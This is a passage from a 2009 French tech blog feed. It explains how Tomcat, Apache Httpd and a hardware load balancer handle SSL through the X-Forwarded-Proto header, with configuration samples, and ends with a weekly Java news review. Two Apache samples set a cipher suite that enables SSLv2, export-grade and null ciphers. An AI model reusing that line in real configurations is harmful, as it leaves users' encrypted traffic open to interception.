name="TopologieLoadBalancerHardwareA"></a>Topologie Load Balancer Hardware Apache Httpd Tomcat</h4><p>Il est très fréquent, lorsqu&#8217;une application web doit être hautement disponible, de faire précéder les serveurs web d&#8217;un Load Balancer Hardware qui devient alors un <a
href="http://fr.wikipedia.org/wiki/Spof" title="Single Point Of Failure" >Single Point Of Failure</a> extrêmement fiable. Nous prendrons pour ce paragraphe l&#8217;hypothèse que le load balancer hardware prend en charge l&#8217;encryption HTTPS.</p><p><strong>Remarque SSL et load balancer</strong></p><p>La pertinence de gérer SSL dans le load balancer est très discutée ; certains y sont farouchement opposés (cf <a
href="http://www.loadbalancing.org/" title="loadbalancing.org" >loadbalancing.org</a>), d&#8217;autres sont plus mesurés (c.f. <a
href="http://haproxy.1wt.eu/" title="HAProxy" >HAProxy</a>) et enfin les vendeurs de load balancers hardware y sont très favorables <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> . Ce débat, qui porte aussi sur la pertinence de déléguer la compression (aka gzip ou deflate) au load balancer, dépasse le cadre de ce billet et le domaine de compétence des architectes applicatifs. Pour aller plus loin, nous vous recommandons <a
href="http://1wt.eu/articles/2006_lb/" title="Making applications scalable with Load Balancing" >Making applications scalable with Load Balancing</a> de Willy Tarreau (<a
href="http://haproxy.1wt.eu/" title="HA Proxy" >HA Proxy</a>).</p><p><strong>Remarque Apache et mod_proxy_http</strong></p><p>Nous utiliserons dans ce billet Apache Httpd en version 2.2.11 avec le connecteur mod_proxy_http / mod_proxy_balancer. Il serait également possible d&#8217;utiliser le protocole AJP (avec mod_jk, mod_proxy_ajp ou mod_cluster) ; nous expliquerons notre préférence pour mod_proxy_http dans un prochain billet.</p><div
align="center"> <a
href="http://blog.xebia.fr/wp-content/uploads/2009/11/tomcat-load-balancing.png"><img
src="http://blog.xebia.fr/wp-content/uploads/2009/11/tomcat-load-balancing-300x178.png" alt="tomcat-load-balancing" title="tomcat-load-balancing" width="300" height="178" class="alignnone size-medium wp-image-3094" /></a></div><p><strong>Gestion du paramètre X-Forwarded-Proto dans les load balancers</strong></p><p>L&#8217;utilisation du header X-Forwarded-Proto nécessite une configuration très simple : le load balancer valorise le header X-Forwarded-Proto, les serveurs web et Tomcat écoutent sur un seul port et la RemoteIpValve Tomcat (ou le XForwardedFilter) traite le header X-Forwarded-Proto pour valoriser request.isSecure() et request.getScheme() .</p><p>Note : cette approche permet très facilement de gérer les communications sécurisées non SSL en utilisant une <a
href="http://code.google.com/p/xebia-france/wiki/SecuredRemoteAddressValve" title="SecuredRemoteAddressValve" >SecuredRemoteAddressValve</a> Tomcat (ou un <a
href="http://code.google.com/p/xebia-france/wiki/SecuredRemoteAddressFilter" title="SecuredRemoteAddressFilter" >SecuredRemoteAddressFilter</a>) qui marquera request.isSecure() des requêtes non SSL émises depuis des plages d&#8217;adresses IP pré-déterminées.</p><div
align="center"> <a
href="http://blog.xebia.fr/wp-content/uploads/2009/11/tomcat-ssl-mono-channel-with-x-forwarded-proto-header.png"><img
src="http://blog.xebia.fr/wp-content/uploads/2009/11/tomcat-ssl-mono-channel-with-x-forwarded-proto-header-300x176.png" alt="tomcat-ssl-mono-channel-with-x-forwarded-proto-header" title="tomcat-ssl-mono-channel-with-x-forwarded-proto-header" width="300" height="176" class="alignnone size-medium wp-image-3098" /></a></div><p>Sur un F5 Big-IP, le header X-Forwarded-Proto sera défini grâce à une iRule de type :</p><pre class="brush: xml; title: ; notranslate">
when HTTP_REQUEST {
   HTTP::header remove X-Forwarded-Proto
   HTTP::header insert X-Forwarded-Proto http
}
when HTTPS_REQUEST {
   HTTP::header remove X-Forwarded-Proto
   HTTP::header insert X-Forwarded-Proto https
}
</pre><p>Source : <a
href="http://devcentral.f5.com/wiki/default.aspx/iRules/HTTP__header.html" title="F5 DevCentral wiki  HTTPheader" >F5 DevCentral wiki &#8211; HTTP::header</a></p><p><strong>Astuce Big-IP iRules: &#8216;remove&#8217; versus &#8216;replace&#8217;</strong></p><p>Par rigueur, nous avons préféré utiliser <code>HTTP::header remove</code> puis <code>HTTP::header insert</code> plutôt que <code>HTTP::header replace</code> qui ne traite que la première occurence du header. Si une personne malveillante injecte plusieurs headers <code>X-Forwarded-Proto</code>, <code>HTTP::header replace</code> n&#8217;écrasera que la première occurence alors que le duo <code>HTTP::header remove</code> &#038; <code>HTTP::header insert</code> les supprimera toutes avant d&#8217;en insérer une valide.</p><p>La configuration du serveur Http est alors triviale, il suffit d&#8217;écouter sur le seul port 80 et de transmettre au serveur Tomcat en <em>passe plat</em>.</p><pre class="brush: xml; title: ; notranslate">
..
# 'myapplication' cluster
&lt;Proxy balancer://myapplication&gt;
   BalancerMember      http://node-1:8080 route=node-1
   ...
   BalancerMember      http://node-n:8080 route=node-n
&lt;/Proxy&gt;
ProxyPreserveHost On
ProxyPass /mypath balancer://myapplication/mypath stickysession=JSESSIONID
</pre><p><em>Configuration Apache httpd.conf</em></p><p><strong>Gestion multi-canaux depuis le load balancer</strong></p><p>La configuration multi-canaux du load balancer nécessite une configuration plus lourde des serveurs Apache et Tomcat puisque le nombre de canaux (port d&#8217;écoute, etc) est doublé.</p><div
align="center"> <a
href="http://blog.xebia.fr/wp-content/uploads/2009/11/tomcat-ssl-dual-channels.png"><img
src="http://blog.xebia.fr/wp-content/uploads/2009/11/tomcat-ssl-dual-channels-300x199.png" alt="tomcat-ssl-dual-channels" title="tomcat-ssl-dual-channels" width="300" height="199" class="alignnone size-medium wp-image-3097" /></a></div><pre class="brush: xml; title: ; notranslate">
# 'myapplication' non ssl and ssl clusters
&lt;Proxy balancer://myapplication&gt;
   BalancerMember      http://node-1:8080 route=node-1
   ...
   BalancerMember      http://node-n:8080 route=node-n
&lt;/Proxy&gt;
&lt;Proxy balancer://myapplicationssl&gt;
   BalancerMember      http://node-1:8083 route=node-1
   ...
   BalancerMember      http://node-n:8083 route=node-n
&lt;/Proxy&gt;
&lt;VirtualHost default:80&gt;
   ...
   ProxyPreserveHost On
   ProxyPass /mypath balancer://myapplication/mypath stickysession=JSESSIONID
   ...
&lt;/VirtualHost&gt;
&lt;VirtualHost default:83&gt;
   ...
   ProxyPreserveHost On
   ProxyPass /mypath balancer://myapplicationssl/mypath stickysession=JSESSIONID
   ...
&lt;/VirtualHost&gt;
</pre><p><em>Configuration Apache httpd.conf multi canaux</em></p><h4><a
name="TopologieApacheHttpdTomcat"></a>Topologie Apache Httpd &#8211; Tomcat</h4><p><strong>Gestion du paramètre X-Forwarded-Proto dans Apache</strong></p><p>Bien qu&#8217;il soit possible de décrypter SSL sur les serveur web Apache Httpd, nous préférons largement la déléguer au load balancer pour les raisons suivantes :</p><ul><li>Sécurité : la passphrase d&#8217;un certificat SSL est un secret très sensible qu&#8217;il est plus facile de gérer sur un nombre très limité de load balancers à l&#8217;accès très restreint plutôt que sur les serveurs web qui sont plus nombreux et sur lesquels de nombreuses équipes interviennent. Il est certes possible de protéger la passphrase d&#8217;un serveur Apache en limitant l&#8217;acccès au user <code>root</code> mais on voit souvent sur le terrain le user <code>root</code> de serveur web utilisé par beaucoup d&#8217;intervenants pour faciliter le travail au quotidien. Il est beaucoup plus simple de limiter les accès sur des serveurs ultra spécialisés comme les load balancers.</li><li>Performance : HTTPS est très consommateur en CPU et son tuning est délicat (réutilisation des sessions SSL, etc). Pour plus de détails, <a
href="http://people.apache.org/~sctemme/ApconEU2008/Performance_Up.pptx" title="Apache Con EU 2008  Apache Performance Tuning" >Apache Con EU 2008 &#8211; Apache Performance Tuning</a> par Sander Temme.</li><li>Simplicité : grâce à l&#8217;utilisation d&#8217;un header X-Forwarded-Proto pour indiquer le protocole utilisé, la configuration du serveur se limite au seul port d&#8217;écoute 80.</li></ul><p>Si vous avez malgré tout besoin de décrypter HTTPS dans les serveurs web, voici un exemple de configuration Apache Httpd.</p><pre class="brush: xml; title: ; notranslate">
# 'myapplication' cluster
&lt;Proxy balancer://myapplication&gt;
   BalancerMember      http://node-1:8080 route=node-1
   ...
   BalancerMember      http://node-n:8080 route=node-n
&lt;/Proxy&gt;
&lt;VirtualHost default:80&gt;
# Declare X-Forwarded-Proto as &quot;http&quot; for incoming request
RequestHeader set X-Forwarded-Proto &quot;http&quot;
...
&lt;/VirtualHost&gt;
&lt;VirtualHost default:443&gt;
# mod_ssl configuration
SSLEngine on
SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
SSLCertificateFile &quot;/private/etc/apache2/server.crt&quot;
SSLCertificateKeyFile &quot;/private/etc/apache2/server.key&quot;
# Overwrite X-Forwarded-Proto declaration for port 443, request are &quot;https&quot;
RequestHeader set X-Forwarded-Proto &quot;https&quot;
...
&lt;/VirtualHost&gt;
..
ProxyPreserveHost On
ProxyPass /mypath balancer://myapplicationssl/mypath stickysession=JSESSIONID
</pre><p><em>Configuration Apache httpd.conf portant le header X-Forwarded-Proto</em></p><p><strong>Remarque Apache Httpd</strong> : Il n&#8217;est pas possible de déclarer deux points de configuraiton pour un même <code>&lt;VirtualHost /&gt;</code>, par conséquent, si votre configuration référence un fragment <code>extra/httpd-ssl.conf</code> pour gérer SSL, vous devez modifier ce fragment pour ajouter la directive <code>RequestHeader set ...</code>, plutôt que d&#8217;utiliser un fragment <em>&#8216;maison&#8217;</em> <code>extra/httpd-myconfig.conf</code>.</p><h4><a
name="Gestionmultirseaux"></a>Gestion multi-réseaux</h4><p>La gestion multi-réseaux avec Apache n&#8217;est pas particulièrement compliquée mais introduit une duplication de code verbeux qu&#8217;il est agréable d&#8217;éviter car il faut déclarer deux balancers qui ne diffèrent que par leur port d&#8217;écoute.</p><pre class="brush: xml; title: ; notranslate">
# 'myapplication' non ssl and ssl clusters
&lt;Proxy balancer://myapplication&gt;
   BalancerMember      http://node-1:8080 route=node-1
   ...
   BalancerMember      http://node-n:8080 route=node-n
&lt;/Proxy&gt;
&lt;Proxy balancer://myapplicationssl&gt;
   BalancerMember      http://node-1:8083 route=node-1
   ...
   BalancerMember      http://node-n:8083 route=node-n
&lt;/Proxy&gt;
&lt;VirtualHost default:80&gt;
   ...
   ProxyPreserveHost On
   ProxyPass /mypath balancer://myapplication/mypath stickysession=JSESSIONID
   ...
&lt;/VirtualHost&gt;
&lt;VirtualHost default:443&gt;
   SSLEngine on
   SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
   SSLCertificateFile &quot;/private/etc/apache2/server.crt&quot;
   SSLCertificateKeyFile &quot;/private/etc/apache2/server.key&quot;
   ...
   ProxyPreserveHost On
   ProxyPass /mypath balancer://myapplicationssl/mypath stickysession=JSESSIONID
   ...
&lt;/VirtualHost&gt;
</pre><p><em>Configuration Apache httpd.conf multi canaux</em></p><h4><a
name="Tomcatseul"></a>Tomcat seul</h4><p>L&#8217;utilisation de Tomcat seul, sans serveur web ni load balancer en amont, simplifie le choix. Tomcat écoute à la fois en http et https (généralement respectivement les ports 80 et 443). Seule l&#8217;approche multi-connecteurs s&#8217;applique. La littérature regorge de mises en oeuvre de SSL avec Tomcat. Le principal point d&#8217;attention est la délégation de l&#8217;encryption SSL à OpenSSL grâce au connecteur APR (Http11AprConnector) plutôt que de reposer sur l&#8217;implémentation SSL des JVM (JSSE) qui est beaucoup moins performante.</p><div
align="center"> <a
href="http://blog.xebia.fr/wp-content/uploads/2009/11/tomcat-openssl.png"><img
src="http://blog.xebia.fr/wp-content/uploads/2009/11/tomcat-openssl-300x179.png" alt="tomcat-openssl" title="tomcat-openssl" width="300" height="179" class="alignnone size-medium wp-image-3095" /></a></div><pre class="brush: xml; title: ; notranslate">
&lt;server&gt;
   ...
   &lt;Listener className=&quot;org.apache.catalina.core.AprLifecycleListener&quot; SSLEngine=&quot;on&quot; SSLRandomSeed=&quot;builtin&quot; /&gt;
   ...
   &lt;Service name=&quot;Catalina&quot;&gt;
      &lt;Connector protocol=&quot;org.apache.coyote.http11.Http11AprProtocol&quot;
           port=&quot;8443&quot; minSpareThreads=&quot;5&quot; maxSpareThreads=&quot;75&quot;
           enableLookups=&quot;true&quot; disableUploadTimeout=&quot;true&quot;
           acceptCount=&quot;100&quot;  maxThreads=&quot;200&quot;
           scheme=&quot;https&quot; secure=&quot;true&quot; SSLEnabled=&quot;true&quot;
           SSLCertificateFile=&quot;/usr/local/ssl/server.crt&quot;
           SSLCertificateKeyFile=&quot;/usr/local/ssl/server.pem&quot;
           clientAuth=&quot;false&quot; sslProtocol=&quot;TLS&quot;/&gt;
      ...
&lt;/server&gt;
</pre><p><em>Extrait de server.xml</em></p><p><strong>Astuce : comment éviter de démarrer le serveur Tomcat avec les privilèges <code>root</code> ?</strong></p><p>Sur les serveur Unix/Linux, écouter sur les ports <1024 requiert les privilèges <code>root</code> ; faire écouter un serveur Tomcat sur les ports 80 (http) et 443 (https) devient donc très délicat pour la sécurité de la plate-forme. Une astuce est d'utiliser <code>iptables</code> pour faire du <em>port forwarding</em> de 80 et 443 vers 8080 et 8443. Plus de détails dans <a
href="http://wiki.apache.org/tomcat/HowTo#head-18d1c3f3fa702a1be769340784515eecce6e0ac9" title="Tomcat Wiki - How to run Tomcat without root priviledges?" >Tomcat Wiki - How to run Tomcat without root priviledges?</a> ou <a
href="http://rifers.org/wiki/display/RIFE/Installing+Tomcat+on+port+80+with+iptables" title="Rife   Installing Tomcat on port 80 with iptables" >Rife -  Installing Tomcat on port 80 with iptables</a>.</p><h3><a
name="QuechoisirMulticanauxouheaderX"></a>Que choisir ? Multi-canaux ou header X-Forwarded-Proto ?</h3><p>Si l'approche multi-canaux avec un premier connecteur pour les communications non http  et un second pour les communications https/ssl a le mérite d'être l'approche "historique", elle présente les défauts de :</p><ul><li>ne pas gérer les communications sécurisées non http,</li><li>complexifier sensiblement les configurations Apache Httpd et, dans une moindre mesure, Tomcat.</li></ul><p>Notre préférence va à l'utilisation d'un header http X-Forwarded-Proto qui permet de simplifier les configurations Apache Httpd et Tomcat et aussi de permettre des communications sécurisées non SSL.</p><p>L'argument d'une complexification de la configuration Tomcat par l'ajout de la RemoteIpValve (ou du XForwardedFilter) est discutable puisque cette valve est la plupart du temps nécessaire pour gérer le header X-Forwarded-For qui permet d'obtenir l'adresse IP de l'internaute, élément important pour l'audit d'actions qui requièrent SSL.</p><p>2010/01/31 : Montée de version de xebia-servlet-extras en version 1.0.2 pour corriger <a
href="http://code.google.com/p/xebia-france/issues/detail?id=4">Issue 4 - XForwardedFilter : request.secure and request.scheme are not forced to "false" and "http" if X-Forwarded-Proto=http</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/11/13/tomcat-ssl-communications-securisees-et-x-forwarded-proto/feed/</wfw:commentRss> <slash:comments>13</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2009/11/09/revue-de-presse-xebia-133/</link> <comments>http://blog.xebia.fr/2009/11/09/revue-de-presse-xebia-133/#comments</comments> <pubDate>Mon, 09 Nov 2009 18:26:49 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Apache]]></category> <category><![CDATA[Atmosphere]]></category> <category><![CDATA[Google]]></category> <category><![CDATA[JRuby]]></category> <category><![CDATA[Mule]]></category> <category><![CDATA[Paris JUG]]></category> <category><![CDATA[Subversion]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=3080</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Subversion, le nouveau projet de la Fondation Apache MuleSoft annonce Mule Data Integrator Des nouvelles de Tomcat 7 RIA Atmosphere, atmosphere ? Le coin de la technique Sortie de JRuby 1.4.0 Le mouvement NoSQL divise et intrigue Evènements de notre [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/11/09/revue-de-presse-xebia-133/#SubversionlenouveauprojetdelaF">Subversion, le nouveau projet de la Fondation Apache</a></li><li><a
href="http://blog.xebia.fr/2009/11/09/revue-de-presse-xebia-133/#MuleSoftannonceMuleDataIntegra">MuleSoft annonce Mule Data Integrator </a></li><li><a
href="http://blog.xebia.fr/2009/11/09/revue-de-presse-xebia-133/#DesnouvellesdeTomcat">Des nouvelles de Tomcat 7</a></li></ul><p><strong>RIA</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/11/09/revue-de-presse-xebia-133/#Atmosphereatmosphere">Atmosphere, atmosphere ?</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/11/09/revue-de-presse-xebia-133/#SortiedeJRuby">Sortie de JRuby 1.4.0</a></li><li><a
href="http://blog.xebia.fr/2009/11/09/revue-de-presse-xebia-133/#LemouvementNoSQLdiviseetintrig">Le mouvement NoSQL divise et intrigue</a></li></ul><p><strong>Evènements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/11/09/revue-de-presse-xebia-133/#SoiresGoogleetAtmosphereauPari">Soirées Google et Atmosphere au Paris JUG</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="SubversionlenouveauprojetdelaF"></a>Subversion, le nouveau projet de la Fondation Apache</h4><p>C&#8217;est <a
href="http://www.open.collab.net/news/press/2009/svn-asf.html" title="officiel" >officiel</a>, Subversion fait maintenant partie <a
href="http://svn.haxx.se/dev/archive-2009-11/0209.shtml" title="des projets de la fondation Apache" >des projets de la fondation Apache</a>. Avant de pouvoir devenir projet top-level, Subversion doit d&#8217;abord passer par l&#8217;<a
href="http://incubator.apache.org/" title="incubateur" >incubateur</a>. Durant cette période, CollabNet continuera d&#8217;héberger le projet sur <a
href="http://subversion.tigris.org" title="httpsubversiontigrisorg" >http://subversion.tigris.org</a>. De plus, les différents binaires continueront d&#8217;être publiés sur ce site au-delà de la période d&#8217;incubation. Nous sommes donc en droit de nous demander ce que cette nouvelle va finalement changer ?</p><p>Certains <a
href="http://best-practice-software-engineering.blogspot.com/2009/11/misc-subversion-is-apache-project-so.html" title="imaginent la refonte" >imaginent la refonte</a> de Subversion pour lui ajouter des fonctionnalités de gestionnaire de sources distribué, comme <a
href="http://fr.wikipedia.org/wiki/Git" title="GIT" >GIT</a> ou <a
href="http://fr.wikipedia.org/wiki/Mercurial" title="Mercurial" >Mercurial</a>. Il est pourtant difficile de croire à une telle transformation, Subversion étant connu comme le gestionnaire centralisé star du moment. Un tel virement de bord signifierait la fin de ce modèle centralisé.</p><p>D&#8217;autres perçoivent au contraire cette nouvelle <a
href="http://blog.red-bean.com/sussman/?p=272" title="comme une fiert" >comme une fierté</a> personnelle et voient l&#8217;arrivée de Subversion dans l&#8217;ASF comme un aboutissement. Le projet est assez mature pour rentrer dans une nouvelle phase et Apache est la maison idéale pour le faire vivre sur le long terme tout en pérennisant la communauté.</p><p>Au final, la véritable réponse à cette question se situe probablement entre ces deux visions. Pourquoi le projet ne continuerait pas tout simplement à avancer sur le chemin qu&#8217;il suit depuis sa création ? Il lui reste du trajet à parcourir : performances, intégration avec les IDEs, outillage &#8230;</p><h4><a
name="MuleSoftannonceMuleDataIntegra"></a>MuleSoft annonce Mule Data Integrator</h4><p>MuleSoft annonce aux abonnés de sa <em>newsletter</em> l&#8217;arrivée en version beta de <a
href="http://www.mulesoft.com/sites/all/themes/mulesource/downloads/mule-data-integrator.pdf" title="Mule Data Integrator" >Mule Data Integrator</a>, un outil permettant de définir facilement des <em>mappings</em> de données de toutes formes (XML, JavaBeans, WSDL, base de données, fichier simple, &#8230;). Ces modèles d&#8217;intégration de données peuvent ensuite être exploités directement par un <em>transformer</em> spécifique pour Mule ESB. L&#8217;outil se présente sous la forme d&#8217;une application Eclipse.</p><p>Il s&#8217;agit là d&#8217;une réponse à une problématique courante puisque Mule ESB simplifie l&#8217;intégration entre protocoles mais laisse au développer le soin d&#8217;apporter sa solution de transformation de données en se basant sur XSLT ou Java. On appréciera donc une telle possibilité offerte sur un ESB Open Source, même si aucun détail n&#8217;est pour le moment fourni quant à la licence pratiquée sur Mule Data Integrator.</p><p>Cette annonce fait suite à une <a
href="http://blog.xebia.fr/2009/09/21/revue-de-presse-xebia-127/#iBeanslasolutiondintgrationpou">activité très dense de l&#8217;éditeur</a> ces derniers mois qui avait déjà créé la surprise avec iBeans et son offre Tcat Server. Fort de ce <em>portfolio</em> plus dense et plus riche, MuleSoft cherche donc à devenir un éditeur pour solutions d&#8217;entreprise à part entière, et non plus simplement l&#8217;entreprise derrière l&#8217;ESB à succès.</p><h4><a
name="DesnouvellesdeTomcat"></a>Des nouvelles de Tomcat 7</h4><p>A l&#8217;occasion des festivités organisées à l&#8217;<a
href="http://us.apachecon.com/c/acus2009/" title="ApacheCon2009" >ApacheCon2009</a> pour les <a
href="http://www.youtube.com/watch?v=DVhz1mSWEIQ" title="10 ans d'Apache" >10 ans d&#8217;Apache</a>, les annonces furent nombreuses. Nous avons déjà parlé de l&#8217;arrivée du projet Subversion, dans le giron de la fondation. Outre l&#8217;utilisation par la maison blanche du projet Drupal, ce fût aussi l&#8217;occasion d&#8217;annoncer l&#8217;arrivée prochaine de Tomcat 7.  Mark Thomas, interviewé par Dzone sur le sujet, parle d&#8217;une version alpha pour la fin de l&#8217;année. Voilà qui serait un beau cadeau de Noël pour la communauté. Dans l&#8217;interview, Mark revient sur les nouveautés attendues dans cette nouvelle version, le but principal étant bien sûr d&#8217;implémenter l&#8217;<a
href="http://blog.xebia.fr/2009/09/15/servlet-3-0-les-3-points-marquants/" title="API Servlet 30" >API Servlet 3.0</a>. Tomcat supportera les web fragments et la déclaration dynamique de Servlet et Filter.</p><p>Côté sécurité, Mark annonce le SSL session tracking pour utiliser les identifiants de session SSL, une plus grande séparation des rôles utilisés pour l&#8217;administration (par script, par le web ou par JMX), et l&#8217;utilisation de jetons temporaires (nonce) en protection contre les attaques de type Cross Site Request Forgery. Une autre nouveauté majeure annoncée par Mark est la capacité de Tomcat 7 à être embarqué dans une application. Selon ses dires il suffit de 8 lignes de codes pour lancer Tomcat et configurer son application web.</p><p>Restent les logs asynchrones, l&#8217;ajout d&#8217;alias permettant d&#8217;héberger des répertoires du système de fichier hors du contexte standard de l&#8217;application, et de nouvelles protections contre les fuites mémoires. <a
href="http://java.dzone.com/articles/mark-thomas-apache-tomcat-7" title="Linterview complte sur Dzone" >L&#8217;interview complète sur Dzone&#8230;</a></p><h3><a
name="RIA"></a>RIA</h3><h4><a
name="Atmosphereatmosphere"></a>Atmosphere, atmosphere ?</h4><p>Pas mal de <em>buzz</em> en ce moment autour du framework web <a
href="http://atmosphere.dev.java.net/" title="Atmosphere" >Atmosphere</a> (via <a
href="http://www.theserverside.com/news/thread.tss?thread_id=58340" title="TSS pour la sortie du produit en version 04" >TSS pour la sortie du produit en version 0.4</a>) qui permet de créer des applications RESTful et Ajax Push/Comet.<br
/> Le framework supporte entre autres Java, JRuby, Groovy et Scala. Plusieurs exemples sont disponibles pour ce dernier avec notamment l&#8217;intégration d&#8217;Atmosphere avec <a
href="http://wiki.github.com/jboner/akka" title="Akka" >Akka</a> et Jersey (<a
href="http://klangism.blogspot.com/2009/07/atmosphere-on-akka.html" title="ici" >ici</a>).</p><p>Au menu des nouveautés depuis la 0.3, une intégration avec Wicket et GWT, une intégration simplifiée avec des applications existantes (servlet based), le support des derniers protocoles bayeux, le support d&#8217;EJB 3.1, et OSGi ready <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> &#8230;</p><p>Si ce framework vous intéresse, allez donc faire un petit tour au <a
href="http://www.parisjug.org/xwiki/bin/view/Meeting/20091112" title="Paris JUG" >Paris JUG</a> !</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="SortiedeJRuby"></a>Sortie de JRuby 1.4.0</h4><p>L&#8217;équipe du projet JRuby <a
href="http://www.jruby.org/2009/11/02/jruby-1-4-0.html" title="annonce une nouvelle version" >annonce une nouvelle version</a> de l&#8217;interpréteur Ruby full-Java. Parmi les avancées :</p><ul><li>Compatibilité avec Ruby 1.8.7 patchlevel 174</li><li>Nouveau parser YAML, portage complet de Syck!</li><li>Meilleure intégration de Java, plus rapide</li><li>Installeur Windows</li><li>Avancée du support de Ruby 1.9</li><li>307 bugs corrigés depuis la version 1.3.1</li></ul><p>Le support de <a
href="http://rubyonrails.org/" title="Rails" >Rails</a> dans sa dernière version est pleinement assuré et les objectifs pour le futur sont axés sur le support complet de Ruby 1.9.</p><h4><a
name="LemouvementNoSQLdiviseetintrig"></a>Le mouvement NoSQL divise et intrigue</h4><p>Le nom <em>NoSQL</em> est apparu courant 2009 pour qualifier un mouvement initié depuis longtemps mais qui a pris une importance et une visibilité particulière ces derniers mois. Il regroupe <a
href="http://en.wikipedia.org/wiki/NoSQL" title="lensemble des projets" >l&#8217;ensemble des projets</a> proposant une solution de persistance de données non relationnelle qui se caractérisent par un <em>design</em> favorisant la scalabilité et la flexibilité. On reconnaît dans ces deux caractéristiques les besoins du Web, dont les grands acteurs que sont Google, Amazon et Facebook ont joué un rôle important en apportant leur propre solution (respectivement <a
href="http://labs.google.com/papers/bigtable.html">BigTable</a>, <a
href="http://aws.amazon.com/simpledb/">SimpleDB</a> et <a
href="http://incubator.apache.org/cassandra/">Cassandra</a>).</p><p>Remettre en question le stockage relationnel exclusif qui s&#8217;était imposé presque comme une évidence dans le monde de l&#8217;entreprise ne pouvait se faire sans initier de nombreux débats. La dernière intervention en date est <a
href="http://cacm.acm.org/blogs/blog-cacm/50678-the-nosql-discussion-has-nothing-to-do-with-sql/fulltext" title="celle de Michael Stonebraker" >celle de Michael Stonebraker</a> qui critique vivement cette initiative en avançant :</p><ul><li>Le choix du NoSQL comme solution de persistance est en général amené par un besoin de performance et de flexibilité. Ces deux caractéristiques peuvent être assurée par les RDBMS traditionnelle par la mise en place de bonnes pratiques épaulées d&#8217;un éventuel <em>sharding</em></li><li>Les systèmes NoSQL souffrent eux aussi de certaines des problématiques des RDBMS et ne sont donc pas une solution parfaite</li><li>L&#8217;utilisation de procédures stockées permet d&#8217;obtenir la performance voulue dans de nombreuse situations</li></ul><p>Ces arguments, assez classiques à l&#8217;encontre du NoSQL, sont opposés à ceux <a
href="http://debasishg.blogspot.com/2009/11/nosql-movement-excited-with-coexistence.html" title="mis en avant par Debasish Ghosh" >mis en avant par Debasish Ghosh</a>, l&#8217;auteur du prochain <a
href="http://manning.com/ghosh/" title="DSLs in action" >DSLs in action</a> à paraître chez Manning :</p><ul><li>Le <em>sharding</em>, solution souvent mise en avant pour sauver la scalabilité des RDBMS, est une solution très lourde à mettre en place, qui évolue mal et qui est très intrusive dans la logique métier ; elle est appliquée à des systèmes qui n&#8217;ont pas été prévus pour une telle utilisation</li><li>Le <a
href="http://www.infoq.com/presentations/availability-consistency" title="thorme CAP" >théorème CAP</a> montre que seule une approche différente des RDBMS classiques permet d&#8217;obtenir les performances voulues</li><li>Une coopération intéressante se met en place entre les projets NoSQL afin de permettre des interopérabilités (tel que <a
href="http://neo4j.org/">Neo4j</a> s&#8217;appuyant sur Cassandra ou <a
href="http://riak.basho.com/">Riak</a> sur CouchDB)</li></ul><p>La remise en question apportée par le NoSQL est forcément bénéfique et ne peut amener qu&#8217;une innovation. Si le mouvement est encore récent et qu&#8217;il doit gagner en maturité, il amènera probablement à se poser plus naturellement la question de la ou des meilleure(s) solution(s) de persistance pour les données d&#8217;une application ou d&#8217;un système d&#8217;information.</p><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evènements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="SoiresGoogleetAtmosphereauPari"></a>Soirées Google et Atmosphere au Paris JUG</h4><p>Pour rebondir sur la news ci-dessus concernant le framework Atmosphere, le <a
href="http://www.parisjug.org/xwiki/bin/view/Main/WebHome" title="Paris JUG" >Paris JUG</a> nous propose ce jeudi 12 novembre une <a
href="http://www.parisjug.org/xwiki/bin/view/Meeting/20091112" title="soire spciale Atmosphere" >soirée spéciale Atmosphere</a>.<br
/> A l&#8217;heure où nous écrivons ces lignes, il reste encore quelques places donc c&#8217;est <a
href="http://www.parisjug.org/xwiki/bin/view/Meeting/20091112" title="maintenant ou jamais pour vous inscrire" >maintenant ou jamais pour vous inscrire</a> !</p><p>Toujours par le Paris JUG, la deuxième soirée de la semaine, mardi 10 novembre, autour de <a
href="http://www.parisjug.org/xwiki/bin/view/Meeting/20091110" title="Google Wave  Android  App Engine" >Google Wave / Android / App Engine</a> affiche complet :p !<br
